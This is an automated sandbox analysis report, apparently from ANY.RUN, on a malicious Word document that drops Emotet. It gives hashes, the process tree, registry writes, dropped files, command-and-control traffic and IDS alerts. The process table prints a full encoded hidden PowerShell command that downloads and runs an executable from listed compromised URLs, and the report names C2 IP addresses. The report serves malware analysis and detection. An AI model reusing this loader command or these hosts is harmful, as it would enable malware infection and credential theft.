| File name: | HD7705396450DB.doc |
| Full analysis: | https://app.any.run/tasks/6d909e86-9c68-40b8-848e-6bebf5adf438 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 18, 2020, 10:50:01 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Saepe., Author: Elisa Perrot, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 23:48:00 2020, Last Saved Time/Date: Fri Jan 17 23:48:00 2020, Number of Pages: 2, Number of Words: 4, Number of Characters: 29, Security: 0 |
| MD5: | 31C7D70ECB77CE36653B0CB3A0F628EE |
| SHA1: | AA8AA8B8792E82282907F876E4EDD14807EE689A |
| SHA256: | C141A187C5B2C7A8D91A923A0F79A8BA4C1484E7295F922C5FAC3D7C0D6792B9 |
| SSDEEP: | 6144:yx0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+Kq1cHLOz:yx0E3dxtR/iU9mvUPKOMLOz |
MALICIOUS
Application was dropped or rewritten from another process
- 906.exe (PID: 3000)
- 906.exe (PID: 2196)
- serialfunc.exe (PID: 3820)
- serialfunc.exe (PID: 792)
- serialfunc.exe (PID: 2176)
- serialfunc.exe (PID: 4072)
Downloads executable files from the Internet
- Powershell.exe (PID: 2156)
Emotet process was detected
- 906.exe (PID: 2196)
EMOTET was detected
- serialfunc.exe (PID: 4072)
Connects to CnC server
- serialfunc.exe (PID: 4072)
Changes the autorun value in the registry
- serialfunc.exe (PID: 4072)
SUSPICIOUS
Executable content was dropped or overwritten
- Powershell.exe (PID: 2156)
- 906.exe (PID: 2196)
PowerShell script executed
- Powershell.exe (PID: 2156)
Executed via WMI
- Powershell.exe (PID: 2156)
Creates files in the user directory
- Powershell.exe (PID: 2156)
Application launched itself
- 906.exe (PID: 3000)
- serialfunc.exe (PID: 4072)
Starts itself from another location
- 906.exe (PID: 2196)
Connects to server without host name
- serialfunc.exe (PID: 4072)
Connects to unusual port
- serialfunc.exe (PID: 4072)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 392)
- serialfunc.exe (PID: 3820)
- serialfunc.exe (PID: 792)
Creates files in the user directory
- WINWORD.EXE (PID: 392)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| Title: | Saepe. |
|---|---|
| Subject: | - |
| Author: | Elisa Perrot |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:01:17 23:48:00 |
| ModifyDate: | 2020:01:17 23:48:00 |
| Pages: | 2 |
| Words: | 4 |
| Characters: | 29 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 32 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
44
Monitored processes
8
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 392 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\HD7705396450DB.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 792 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\431A.tmp" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | serialfunc.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 2156 | Powershell -w hidden -en JABOAGEAaAB4AGIAegB4AG0AbgBzAG0AYgA9ACcARwBiAG0AZABuAG0AZwBoAG4AJwA7ACQAUQBzAGgAaAB0AGwAbgBpAG0AYQBjACAAPQAgACcAOQAwADYAJwA7ACQASgBsAGwAeABpAHkAcwB2AGgAcAA9ACcAUwBiAHAAYgBkAGEAdgBmAHoAZgBnAGgAJwA7ACQASgBhAGUAcAB1AHAAbwByAHUAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUQBzAGgAaAB0AGwAbgBpAG0AYQBjACsAJwAuAGUAeABlACcAOwAkAFAAegBuAGYAbQBqAGMAbwBxAGwAYgBwAGsAPQAnAFkAeAByAHUAcwBsAGwAdwBmAGQAJwA7ACQAVgBvAGQAbABqAHgAcgB6AHEAbQBuAGwAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAEIAQwBsAEkARQBOAFQAOwAkAEEAaQB1AHcAZwB4AGMAbgBnAGoAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGwAdQBlAGQAcgBlAGEAbQAuAGEAbAAvAGMAYQBsAGUAbgBkAGEAcgAvAHIAOAAzAGcAOQAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBjAG8AbQBlAHQAcAByAGkAbgB0AC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AcQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AagBtAGUAYwBoAGEAbgBpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBkAGQAeQAvACcALgAiAFMAYABQAEwASQBUACIAKAAnACoAJwApADsAJABQAG4AZABmAGUAeABsAGkAPQAnAEMAZAB4AHIAZQBsAGUAYQBvACcAOwBmAG8AcgBlAGEAYwBoACgAJABQAGUAeQBvAGEAdQB5AGcAZgBjAGcAdQB6ACAAaQBuACAAJABBAGkAdQB3AGcAeABjAG4AZwBqACkAewB0AHIAeQB7ACQAVgBvAGQAbABqAHgAcgB6AHEAbQBuAGwALgAiAEQATwBgAFcATgBMAG8AYQBEAEYAYABpAGwARQAiACgAJABQAGUAeQBvAGEAdQB5AGcAZgBjAGcAdQB6ACwAIAAkAEoAYQBlAHAAdQBwAG8AcgB1AGIAKQA7ACQAVwBiAGgAcABtAGgAbABlAGMAPQAnAFoAaABuAGIAbQBnAHcAcgAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEoAYQBlAHAAdQBwAG8AcgB1AGIAKQAuACIAbABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADkAMQA0ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBUAEEAYABSAFQAIgAoACQASgBhAGUAcAB1AHAAbwByAHUAYgApADsAJABQAHYAbgB4AGEAZwBhAHMAZQBwAHgAPQAnAEwAdgBwAHIAcQB6AGQAcQBhAGEAZQBwACcAOwBiAHIAZQBhAGsAOwAkAFkAeQBkAHcAcQB6AGcAbAA9ACcAUABnAGYAZABqAGQAbABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAcgBxAGYAYQB6AGMAeQBwAHYAagBoAD0AJwBDAHUAYgB0AGgAdwBtAGEAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2176 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 906.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 2196 | --c8768c3d | C:\Users\admin\906.exe | 906.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 3000 | "C:\Users\admin\906.exe" | C:\Users\admin\906.exe | — | Powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 3820 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\4319.tmp" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | serialfunc.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
| 4072 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Application MFC DShowEncoder Exit code: 0 Version: 1, 0, 0, 76 Modules
| |||||||||||||||
Total events
2 452
Read events
1 565
Write events
758
Delete events
129
Modification events
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | !p? |
Value: 21703F0088010000010000000000000000000000 | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (392) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1345454142 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
8
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 392 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA821.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 392 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF6F08897B565A5B66.TMP | — | |
MD5:— | SHA256:— | |||
| 2156 | Powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0GY8RR5L8AKPKU0CAXEE.temp | — | |
MD5:— | SHA256:— | |||
| 792 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 3820 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 3820 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~honey@pot.com.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 792 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 792 | serialfunc.exe | C:\Users\admin\Documents\Outlook Files\~honey@pot.com.pst.tmp | — | |
MD5:— | SHA256:— | |||
| 792 | serialfunc.exe | C:\Users\admin\AppData\Local\Temp\431A.tmp | — | |
MD5:— | SHA256:— | |||
| 392 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
4
DNS requests
1
Threats
11
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2156 | Powershell.exe | GET | 200 | 185.32.20.6:80 | http://www.bluedream.al/calendar/r83g9/ | AL | executable | 344 Kb | suspicious |
4072 | serialfunc.exe | POST | 200 | 100.6.23.40:80 | http://100.6.23.40/eF1jAhby8Ah6M1 | US | binary | 148 b | malicious |
4072 | serialfunc.exe | POST | 200 | 91.205.215.10:7080 | http://91.205.215.10:7080/PtHlOfjQ | NL | binary | 148 b | malicious |
4072 | serialfunc.exe | POST | 200 | 100.6.23.40:80 | http://100.6.23.40/hvLD4HR5 | US | binary | 521 Kb | malicious |
4072 | serialfunc.exe | POST | 200 | 91.205.215.10:7080 | http://91.205.215.10:7080/YIs2O1e66PLv2 | NL | binary | 148 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2156 | Powershell.exe | 185.32.20.6:80 | www.bluedream.al | S E L C O M Shpk | AL | suspicious |
4072 | serialfunc.exe | 91.205.215.10:7080 | — | MaxiTEL Telecom B.V. | NL | malicious |
4072 | serialfunc.exe | 100.6.23.40:80 | — | MCI Communications Services, Inc. d/b/a Verizon Business | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bluedream.al |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2156 | Powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2156 | Powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2156 | Powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
4072 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
4072 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
4072 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4072 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4072 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
4072 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
4072 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |